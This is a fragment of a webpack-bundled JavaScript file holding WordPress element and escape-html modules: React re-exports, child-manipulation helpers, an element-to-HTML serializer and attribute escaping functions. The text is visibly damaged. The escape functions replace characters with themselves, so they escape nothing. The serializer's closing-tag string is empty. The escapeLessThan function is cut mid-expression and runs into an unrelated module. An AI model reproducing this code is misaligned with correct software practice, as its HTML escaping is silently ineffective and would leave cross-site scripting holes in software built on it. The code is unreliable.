`root.unmount()` instead. * @see https://react.dev/reference/react-dom/unmountComponentAtNode */ //# sourceMappingURL=react-platform.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/react.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/react.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ Children: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Children), /* harmony export */ Component: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Component), /* harmony export */ Fragment: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Fragment), /* harmony export */ PureComponent: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.PureComponent), /* harmony export */ StrictMode: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.StrictMode), /* harmony export */ Suspense: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Suspense), /* harmony export */ cloneElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.cloneElement), /* harmony export */ concatChildren: () => (/* binding */ concatChildren), /* harmony export */ createContext: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createContext), /* harmony export */ createElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createElement), /* harmony export */ createRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createRef), /* harmony export */ forwardRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.forwardRef), /* harmony export */ isValidElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.isValidElement), /* harmony export */ lazy: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.lazy), /* harmony export */ memo: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.memo), /* harmony export */ startTransition: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.startTransition), /* harmony export */ switchChildrenNodeName: () => (/* binding */ switchChildrenNodeName), /* harmony export */ useCallback: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useCallback), /* harmony export */ useContext: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useContext), /* harmony export */ useDebugValue: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useDebugValue), /* harmony export */ useDeferredValue: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useDeferredValue), /* harmony export */ useEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useEffect), /* harmony export */ useId: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useId), /* harmony export */ useImperativeHandle: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useImperativeHandle), /* harmony export */ useInsertionEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useInsertionEffect), /* harmony export */ useLayoutEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useLayoutEffect), /* harmony export */ useMemo: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useMemo), /* harmony export */ useReducer: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useReducer), /* harmony export */ useRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useRef), /* harmony export */ useState: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useState), /* harmony export */ useSyncExternalStore: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useSyncExternalStore), /* harmony export */ useTransition: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useTransition) /* harmony export */ }); /* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react"); /* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__); /** * External dependencies */ // eslint-disable-next-line @typescript-eslint/no-restricted-imports /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ /** * Object containing a React component. * * @typedef {import('react').ComponentType} ComponentType */ /** * Object containing a React synthetic event. * * @typedef {import('react').SyntheticEvent} SyntheticEvent */ /** * Object containing a React synthetic event. * * @template T * @typedef {import('react').RefObject} RefObject */ /** * Object that provides utilities for dealing with React children. */ /** * Creates a copy of an element with extended props. * * @param {Element} element Element * @param {?Object} props Props to apply to cloned element * * @return {Element} Cloned element. */ /** * A base class to create WordPress Components (Refs, state and lifecycle hooks) */ /** * Creates a context object containing two components: a provider and consumer. * * @param {Object} defaultValue A default data stored in the context. * * @return {Object} Context object. */ /** * Returns a new element of given type. Type can be either a string tag name or * another function which itself returns an element. * * @param {?(string|Function)} type Tag name or element creator * @param {Object} props Element properties, either attribute * set to apply to DOM node or values to * pass through to element creator * @param {...Element} children Descendant elements * * @return {Element} Element. */ /** * Returns an object tracking a reference to a rendered element via its * `current` property as either a DOMElement or Element, dependent upon the * type of element rendered with the ref attribute. * * @return {Object} Ref object. */ /** * Component enhancer used to enable passing a ref to its wrapped component. * Pass a function argument which receives `props` and `ref` as its arguments, * returning an element using the forwarded ref. The return value is a new * component which forwards its ref. * * @param {Function} forwarder Function passed `props` and `ref`, expected to * return an element. * * @return {Component} Enhanced component. */ /** * A component which renders its children without any wrapping element. */ /** * Checks if an object is a valid React Element. * * @param {Object} objectToCheck The object to be checked. * * @return {boolean} true if objectToTest is a valid React Element and false otherwise. */ /** * @see https://reactjs.org/docs/react-api.html#reactmemo */ /** * Component that activates additional checks and warnings for its descendants. */ /** * @see https://reactjs.org/docs/hooks-reference.html#usecallback */ /** * @see https://reactjs.org/docs/hooks-reference.html#usecontext */ /** * @see https://reactjs.org/docs/hooks-reference.html#usedebugvalue */ /** * @see https://reactjs.org/docs/hooks-reference.html#usedeferredvalue */ /** * @see https://reactjs.org/docs/hooks-reference.html#useeffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#useid */ /** * @see https://reactjs.org/docs/hooks-reference.html#useimperativehandle */ /** * @see https://reactjs.org/docs/hooks-reference.html#useinsertioneffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#uselayouteffect */ /** * @see https://reactjs.org/docs/hooks-reference.html#usememo */ /** * @see https://reactjs.org/docs/hooks-reference.html#usereducer */ /** * @see https://reactjs.org/docs/hooks-reference.html#useref */ /** * @see https://reactjs.org/docs/hooks-reference.html#usestate */ /** * @see https://reactjs.org/docs/hooks-reference.html#usesyncexternalstore */ /** * @see https://reactjs.org/docs/hooks-reference.html#usetransition */ /** * @see https://reactjs.org/docs/react-api.html#starttransition */ /** * @see https://reactjs.org/docs/react-api.html#reactlazy */ /** * @see https://reactjs.org/docs/react-api.html#reactsuspense */ /** * @see https://reactjs.org/docs/react-api.html#reactpurecomponent */ /** * Concatenate two or more React children objects. * * @param {...?Object} childrenArguments Array of children arguments (array of arrays/strings/objects) to concatenate. * * @return {Array} The concatenated value. */ function concatChildren(...childrenArguments) { return childrenArguments.reduce((accumulator, children, i) => { react__WEBPACK_IMPORTED_MODULE_0__.Children.forEach(children, (child, j) => { if (child && 'string' !== typeof child) { child = (0,react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(child, { key: [i, j].join() }); } accumulator.push(child); }); return accumulator; }, []); } /** * Switches the nodeName of all the elements in the children object. * * @param {?Object} children Children object. * @param {string} nodeName Node name. * * @return {?Object} The updated children object. */ function switchChildrenNodeName(children, nodeName) { return children && react__WEBPACK_IMPORTED_MODULE_0__.Children.map(children, (elt, index) => { if (typeof elt?.valueOf() === 'string') { return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(nodeName, { key: index }, elt); } const { children: childrenProp, ...props } = elt.props; return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(nodeName, { key: index, ...props }, childrenProp); }); } //# sourceMappingURL=react.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/serialize.js": /*!********************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/serialize.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__), /* harmony export */ hasPrefix: () => (/* binding */ hasPrefix), /* harmony export */ renderAttributes: () => (/* binding */ renderAttributes), /* harmony export */ renderComponent: () => (/* binding */ renderComponent), /* harmony export */ renderElement: () => (/* binding */ renderElement), /* harmony export */ renderNativeComponent: () => (/* binding */ renderNativeComponent), /* harmony export */ renderStyle: () => (/* binding */ renderStyle) /* harmony export */ }); /* harmony import */ var is_plain_object__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! is-plain-object */ "../node_modules/is-plain-object/dist/is-plain-object.mjs"); /* harmony import */ var change_case__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! change-case */ "../node_modules/param-case/dist.es2015/index.js"); /* harmony import */ var _wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/escape-html */ "../node_modules/@wordpress/escape-html/build-module/index.js"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_1__); /* harmony import */ var _raw_html__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./raw-html */ "../node_modules/@wordpress/element/build-module/raw-html.js"); /** * Parts of this source were derived and modified from fast-react-render, * released under the MIT license. * * https://github.com/alt-j/fast-react-render * * Copyright (c) 2016 Andrey Morozov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('react').ReactElement} ReactElement */ const { Provider, Consumer } = (0,_react__WEBPACK_IMPORTED_MODULE_1__.createContext)(undefined); const ForwardRef = (0,_react__WEBPACK_IMPORTED_MODULE_1__.forwardRef)(() => { return null; }); /** * Valid attribute types. * * @type {Set} */ const ATTRIBUTES_TYPES = new Set(['string', 'boolean', 'number']); /** * Element tags which can be self-closing. * * @type {Set} */ const SELF_CLOSING_TAGS = new Set(['area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr']); /** * Boolean attributes are attributes whose presence as being assigned is * meaningful, even if only empty. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#boolean-attributes * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => tr.lastChild.textContent.indexOf( 'Boolean attribute' ) !== -1 ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * @type {Set} */ const BOOLEAN_ATTRIBUTES = new Set(['allowfullscreen', 'allowpaymentrequest', 'allowusermedia', 'async', 'autofocus', 'autoplay', 'checked', 'controls', 'default', 'defer', 'disabled', 'download', 'formnovalidate', 'hidden', 'ismap', 'itemscope', 'loop', 'multiple', 'muted', 'nomodule', 'novalidate', 'open', 'playsinline', 'readonly', 'required', 'reversed', 'selected', 'typemustmatch']); /** * Enumerated attributes are attributes which must be of a specific value form. * Like boolean attributes, these are meaningful if specified, even if not of a * valid enumerated value. * * See: https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#enumerated-attribute * Extracted from: https://html.spec.whatwg.org/multipage/indices.html#attributes-3 * * Object.keys( [ ...document.querySelectorAll( '#attributes-1 > tbody > tr' ) ] * .filter( ( tr ) => /^("(.+?)";?\s*)+/.test( tr.lastChild.textContent.trim() ) ) * .reduce( ( result, tr ) => Object.assign( result, { * [ tr.firstChild.textContent.trim() ]: true * } ), {} ) ).sort(); * * Some notable omissions: * * - `alt`: https://blog.whatwg.org/omit-alt * * @type {Set} */ const ENUMERATED_ATTRIBUTES = new Set(['autocapitalize', 'autocomplete', 'charset', 'contenteditable', 'crossorigin', 'decoding', 'dir', 'draggable', 'enctype', 'formenctype', 'formmethod', 'http-equiv', 'inputmode', 'kind', 'method', 'preload', 'scope', 'shape', 'spellcheck', 'translate', 'type', 'wrap']); /** * Set of CSS style properties which support assignment of unitless numbers. * Used in rendering of style properties, where `px` unit is assumed unless * property is included in this set or value is zero. * * Generated via: * * Object.entries( document.createElement( 'div' ).style ) * .filter( ( [ key ] ) => ( * ! /^(webkit|ms|moz)/.test( key ) && * ( e.style[ key ] = 10 ) && * e.style[ key ] === '10' * ) ) * .map( ( [ key ] ) => key ) * .sort(); * * @type {Set} */ const CSS_PROPERTIES_SUPPORTS_UNITLESS = new Set(['animation', 'animationIterationCount', 'baselineShift', 'borderImageOutset', 'borderImageSlice', 'borderImageWidth', 'columnCount', 'cx', 'cy', 'fillOpacity', 'flexGrow', 'flexShrink', 'floodOpacity', 'fontWeight', 'gridColumnEnd', 'gridColumnStart', 'gridRowEnd', 'gridRowStart', 'lineHeight', 'opacity', 'order', 'orphans', 'r', 'rx', 'ry', 'shapeImageThreshold', 'stopOpacity', 'strokeDasharray', 'strokeDashoffset', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'tabSize', 'widows', 'x', 'y', 'zIndex', 'zoom']); /** * Returns true if the specified string is prefixed by one of an array of * possible prefixes. * * @param {string} string String to check. * @param {string[]} prefixes Possible prefixes. * * @return {boolean} Whether string has prefix. */ function hasPrefix(string, prefixes) { return prefixes.some(prefix => string.indexOf(prefix) === 0); } /** * Returns true if the given prop name should be ignored in attributes * serialization, or false otherwise. * * @param {string} attribute Attribute to check. * * @return {boolean} Whether attribute should be ignored. */ function isInternalAttribute(attribute) { return 'key' === attribute || 'children' === attribute; } /** * Returns the normal form of the element's attribute value for HTML. * * @param {string} attribute Attribute name. * @param {*} value Non-normalized attribute value. * * @return {*} Normalized attribute value. */ function getNormalAttributeValue(attribute, value) { switch (attribute) { case 'style': return renderStyle(value); } return value; } /** * This is a map of all SVG attributes that have dashes. Map(lower case prop => dashed lower case attribute). * We need this to render e.g strokeWidth as stroke-width. * * List from: https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute. */ const SVG_ATTRIBUTE_WITH_DASHES_LIST = ['accentHeight', 'alignmentBaseline', 'arabicForm', 'baselineShift', 'capHeight', 'clipPath', 'clipRule', 'colorInterpolation', 'colorInterpolationFilters', 'colorProfile', 'colorRendering', 'dominantBaseline', 'enableBackground', 'fillOpacity', 'fillRule', 'floodColor', 'floodOpacity', 'fontFamily', 'fontSize', 'fontSizeAdjust', 'fontStretch', 'fontStyle', 'fontVariant', 'fontWeight', 'glyphName', 'glyphOrientationHorizontal', 'glyphOrientationVertical', 'horizAdvX', 'horizOriginX', 'imageRendering', 'letterSpacing', 'lightingColor', 'markerEnd', 'markerMid', 'markerStart', 'overlinePosition', 'overlineThickness', 'paintOrder', 'panose1', 'pointerEvents', 'renderingIntent', 'shapeRendering', 'stopColor', 'stopOpacity', 'strikethroughPosition', 'strikethroughThickness', 'strokeDasharray', 'strokeDashoffset', 'strokeLinecap', 'strokeLinejoin', 'strokeMiterlimit', 'strokeOpacity', 'strokeWidth', 'textAnchor', 'textDecoration', 'textRendering', 'underlinePosition', 'underlineThickness', 'unicodeBidi', 'unicodeRange', 'unitsPerEm', 'vAlphabetic', 'vHanging', 'vIdeographic', 'vMathematical', 'vectorEffect', 'vertAdvY', 'vertOriginX', 'vertOriginY', 'wordSpacing', 'writingMode', 'xmlnsXlink', 'xHeight'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all case-sensitive SVG attributes. Map(lowercase key => proper case attribute). * The keys are lower-cased for more robust lookup. * Note that this list only contains attributes that contain at least one capital letter. * Lowercase attributes don't need mapping, since we lowercase all attributes by default. */ const CASE_SENSITIVE_SVG_ATTRIBUTES = ['allowReorder', 'attributeName', 'attributeType', 'autoReverse', 'baseFrequency', 'baseProfile', 'calcMode', 'clipPathUnits', 'contentScriptType', 'contentStyleType', 'diffuseConstant', 'edgeMode', 'externalResourcesRequired', 'filterRes', 'filterUnits', 'glyphRef', 'gradientTransform', 'gradientUnits', 'kernelMatrix', 'kernelUnitLength', 'keyPoints', 'keySplines', 'keyTimes', 'lengthAdjust', 'limitingConeAngle', 'markerHeight', 'markerUnits', 'markerWidth', 'maskContentUnits', 'maskUnits', 'numOctaves', 'pathLength', 'patternContentUnits', 'patternTransform', 'patternUnits', 'pointsAtX', 'pointsAtY', 'pointsAtZ', 'preserveAlpha', 'preserveAspectRatio', 'primitiveUnits', 'refX', 'refY', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'specularConstant', 'specularExponent', 'spreadMethod', 'startOffset', 'stdDeviation', 'stitchTiles', 'suppressContentEditableWarning', 'suppressHydrationWarning', 'surfaceScale', 'systemLanguage', 'tableValues', 'targetX', 'targetY', 'textLength', 'viewBox', 'viewTarget', 'xChannelSelector', 'yChannelSelector'].reduce((map, attribute) => { // The keys are lower-cased for more robust lookup. map[attribute.toLowerCase()] = attribute; return map; }, {}); /** * This is a map of all SVG attributes that have colons. * Keys are lower-cased and stripped of their colons for more robust lookup. */ const SVG_ATTRIBUTES_WITH_COLONS = ['xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'xmlns:xlink'].reduce((map, attribute) => { map[attribute.replace(':', '').toLowerCase()] = attribute; return map; }, {}); /** * Returns the normal form of the element's attribute name for HTML. * * @param {string} attribute Non-normalized attribute name. * * @return {string} Normalized attribute name. */ function getNormalAttributeName(attribute) { switch (attribute) { case 'htmlFor': return 'for'; case 'className': return 'class'; } const attributeLowerCase = attribute.toLowerCase(); if (CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]) { return CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]; } else if (SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]) { return (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]); } else if (SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]) { return SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]; } return attributeLowerCase; } /** * Returns the normal form of the style property name for HTML. * * - Converts property names to kebab-case, e.g. 'backgroundColor' → 'background-color' * - Leaves custom attributes alone, e.g. '--myBackgroundColor' → '--myBackgroundColor' * - Converts vendor-prefixed property names to -kebab-case, e.g. 'MozTransform' → '-moz-transform' * * @param {string} property Property name. * * @return {string} Normalized property name. */ function getNormalStylePropertyName(property) { if (property.startsWith('--')) { return property; } if (hasPrefix(property, ['ms', 'O', 'Moz', 'Webkit'])) { return '-' + (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(property); } return (0,change_case__WEBPACK_IMPORTED_MODULE_2__.paramCase)(property); } /** * Returns the normal form of the style property value for HTML. Appends a * default pixel unit if numeric, not a unitless property, and not zero. * * @param {string} property Property name. * @param {*} value Non-normalized property value. * * @return {*} Normalized property value. */ function getNormalStylePropertyValue(property, value) { if (typeof value === 'number' && 0 !== value && !CSS_PROPERTIES_SUPPORTS_UNITLESS.has(property)) { return value + 'px'; } return value; } /** * Serializes a React element to string. * * @param {import('react').ReactNode} element Element to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderElement(element, context, legacyContext = {}) { if (null === element || undefined === element || false === element) { return ''; } if (Array.isArray(element)) { return renderChildren(element, context, legacyContext); } switch (typeof element) { case 'string': return (0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.escapeHTML)(element); case 'number': return element.toString(); } const { type, props } = /** @type {{type?: any, props?: any}} */ element; switch (type) { case _react__WEBPACK_IMPORTED_MODULE_1__.StrictMode: case _react__WEBPACK_IMPORTED_MODULE_1__.Fragment: return renderChildren(props.children, context, legacyContext); case _raw_html__WEBPACK_IMPORTED_MODULE_4__["default"]: const { children, ...wrapperProps } = props; return renderNativeComponent(!Object.keys(wrapperProps).length ? null : 'div', { ...wrapperProps, dangerouslySetInnerHTML: { __html: children } }, context, legacyContext); } switch (typeof type) { case 'string': return renderNativeComponent(type, props, context, legacyContext); case 'function': if (type.prototype && typeof type.prototype.render === 'function') { return renderComponent(type, props, context, legacyContext); } return renderElement(type(props, legacyContext), context, legacyContext); } switch (type && type.$$typeof) { case Provider.$$typeof: return renderChildren(props.children, props.value, legacyContext); case Consumer.$$typeof: return renderElement(props.children(context || type._currentValue), context, legacyContext); case ForwardRef.$$typeof: return renderElement(type.render(props), context, legacyContext); } return ''; } /** * Serializes a native component type to string. * * @param {?string} type Native component type to serialize, or null if * rendering as fragment of children content. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element. */ function renderNativeComponent(type, props, context, legacyContext = {}) { let content = ''; if (type === 'textarea' && props.hasOwnProperty('value')) { // Textarea children can be assigned as value prop. If it is, render in // place of children. Ensure to omit so it is not assigned as attribute // as well. content = renderChildren(props.value, context, legacyContext); const { value, ...restProps } = props; props = restProps; } else if (props.dangerouslySetInnerHTML && typeof props.dangerouslySetInnerHTML.__html === 'string') { // Dangerous content is left unescaped. content = props.dangerouslySetInnerHTML.__html; } else if (typeof props.children !== 'undefined') { content = renderChildren(props.children, context, legacyContext); } if (!type) { return content; } const attributes = renderAttributes(props); if (SELF_CLOSING_TAGS.has(type)) { return '<' + type + attributes + '/>'; } return '<' + type + attributes + '>' + content + ''; } /** @typedef {import('react').ComponentType} ComponentType */ /** * Serializes a non-native component type to string. * * @param {ComponentType} Component Component type to serialize. * @param {Object} props Props object. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized element */ function renderComponent(Component, props, context, legacyContext = {}) { const instance = new ( /** @type {import('react').ComponentClass} */ Component)(props, legacyContext); if (typeof // Ignore reason: Current prettier reformats parens and mangles type assertion // prettier-ignore /** @type {{getChildContext?: () => unknown}} */ instance.getChildContext === 'function') { Object.assign(legacyContext, /** @type {{getChildContext?: () => unknown}} */instance.getChildContext()); } const html = renderElement(instance.render(), context, legacyContext); return html; } /** * Serializes an array of children to string. * * @param {import('react').ReactNodeArray} children Children to serialize. * @param {Object} [context] Context object. * @param {Object} [legacyContext] Legacy context object. * * @return {string} Serialized children. */ function renderChildren(children, context, legacyContext = {}) { let result = ''; children = Array.isArray(children) ? children : [children]; for (let i = 0; i < children.length; i++) { const child = children[i]; result += renderElement(child, context, legacyContext); } return result; } /** * Renders a props object as a string of HTML attributes. * * @param {Object} props Props object. * * @return {string} Attributes string. */ function renderAttributes(props) { let result = ''; for (const key in props) { const attribute = getNormalAttributeName(key); if (!(0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.isValidAttributeName)(attribute)) { continue; } let value = getNormalAttributeValue(key, props[key]); // If value is not of serializable type, skip. if (!ATTRIBUTES_TYPES.has(typeof value)) { continue; } // Don't render internal attribute names. if (isInternalAttribute(key)) { continue; } const isBooleanAttribute = BOOLEAN_ATTRIBUTES.has(attribute); // Boolean attribute should be omitted outright if its value is false. if (isBooleanAttribute && value === false) { continue; } const isMeaningfulAttribute = isBooleanAttribute || hasPrefix(key, ['data-', 'aria-']) || ENUMERATED_ATTRIBUTES.has(attribute); // Only write boolean value as attribute if meaningful. if (typeof value === 'boolean' && !isMeaningfulAttribute) { continue; } result += ' ' + attribute; // Boolean attributes should write attribute name, but without value. // Mere presence of attribute name is effective truthiness. if (isBooleanAttribute) { continue; } if (typeof value === 'string') { value = (0,_wordpress_escape_html__WEBPACK_IMPORTED_MODULE_3__.escapeAttribute)(value); } result += '="' + value + '"'; } return result; } /** * Renders a style object as a string attribute value. * * @param {Object} style Style object. * * @return {string} Style attribute value. */ function renderStyle(style) { // Only generate from object, e.g. tolerate string value. if (!(0,is_plain_object__WEBPACK_IMPORTED_MODULE_0__.isPlainObject)(style)) { return style; } let result; for (const property in style) { const value = style[property]; if (null === value || undefined === value) { continue; } if (result) { result += ';'; } else { result = ''; } const normalName = getNormalStylePropertyName(property); const normalValue = getNormalStylePropertyValue(property, value); result += normalName + ':' + normalValue; } return result; } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (renderElement); //# sourceMappingURL=serialize.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/utils.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/utils.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ isEmptyElement: () => (/* binding */ isEmptyElement) /* harmony export */ }); /** * Checks if the provided WP element is empty. * * @param {*} element WP element to check. * @return {boolean} True when an element is considered empty. */ const isEmptyElement = element => { if (typeof element === 'number') { return false; } if (typeof element?.valueOf() === 'string' || Array.isArray(element)) { return !element.length; } return !element; }; //# sourceMappingURL=utils.js.map /***/ }), /***/ "../node_modules/@wordpress/escape-html/build-module/escape-greater.js": /*!*****************************************************************************!*\ !*** ../node_modules/@wordpress/escape-html/build-module/escape-greater.js ***! \*****************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ __unstableEscapeGreaterThan) /* harmony export */ }); /** * Returns a string with greater-than sign replaced. * * Note that if a resolution for Trac#45387 comes to fruition, it is no longer * necessary for `__unstableEscapeGreaterThan` to exist. * * See: https://core.trac.wordpress.org/ticket/45387 * * @param {string} value Original string. * * @return {string} Escaped string. */ function __unstableEscapeGreaterThan(value) { return value.replace(/>/g, '>'); } //# sourceMappingURL=escape-greater.js.map /***/ }), /***/ "../node_modules/@wordpress/escape-html/build-module/index.js": /*!********************************************************************!*\ !*** ../node_modules/@wordpress/escape-html/build-module/index.js ***! \********************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ escapeAmpersand: () => (/* binding */ escapeAmpersand), /* harmony export */ escapeAttribute: () => (/* binding */ escapeAttribute), /* harmony export */ escapeEditableHTML: () => (/* binding */ escapeEditableHTML), /* harmony export */ escapeHTML: () => (/* binding */ escapeHTML), /* harmony export */ escapeLessThan: () => (/* binding */ escapeLessThan), /* harmony export */ escapeQuotationMark: () => (/* binding */ escapeQuotationMark), /* harmony export */ isValidAttributeName: () => (/* binding */ isValidAttributeName) /* harmony export */ }); /* harmony import */ var _escape_greater__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./escape-greater */ "../node_modules/@wordpress/escape-html/build-module/escape-greater.js"); /** * Internal dependencies */ /** * Regular expression matching invalid attribute names. * * "Attribute names must consist of one or more characters other than controls, * U+0020 SPACE, U+0022 ("), U+0027 ('), U+003E (>), U+002F (/), U+003D (=), * and noncharacters." * * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 * * @type {RegExp} */ const REGEXP_INVALID_ATTRIBUTE_NAME = /[\u007F-\u009F "'>/="\uFDD0-\uFDEF]/; /** * Returns a string with ampersands escaped. Note that this is an imperfect * implementation, where only ampersands which do not appear as a pattern of * named, decimal, or hexadecimal character references are escaped. Invalid * named references (i.e. ambiguous ampersand) are still permitted. * * @see https://w3c.github.io/html/syntax.html#character-references * @see https://w3c.github.io/html/syntax.html#ambiguous-ampersand * @see https://w3c.github.io/html/syntax.html#named-character-references * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeAmpersand(value) { return value.replace(/&(?!([a-z0-9]+|#[0-9]+|#x[a-f0-9]+);)/gi, '&'); } /** * Returns a string with quotation marks replaced. * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeQuotationMark(value) { return value.replace(/"/g, '"'); } /** * Returns a string with less-than sign replaced. * * @param {string} value Original string. * * @return {string} Escaped string. */ function escapeLessThan(value) { return value.replace(/ { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ dotCase: () => (/* binding */ dotCase) /* harmony export */ }); /* harmony import */ var 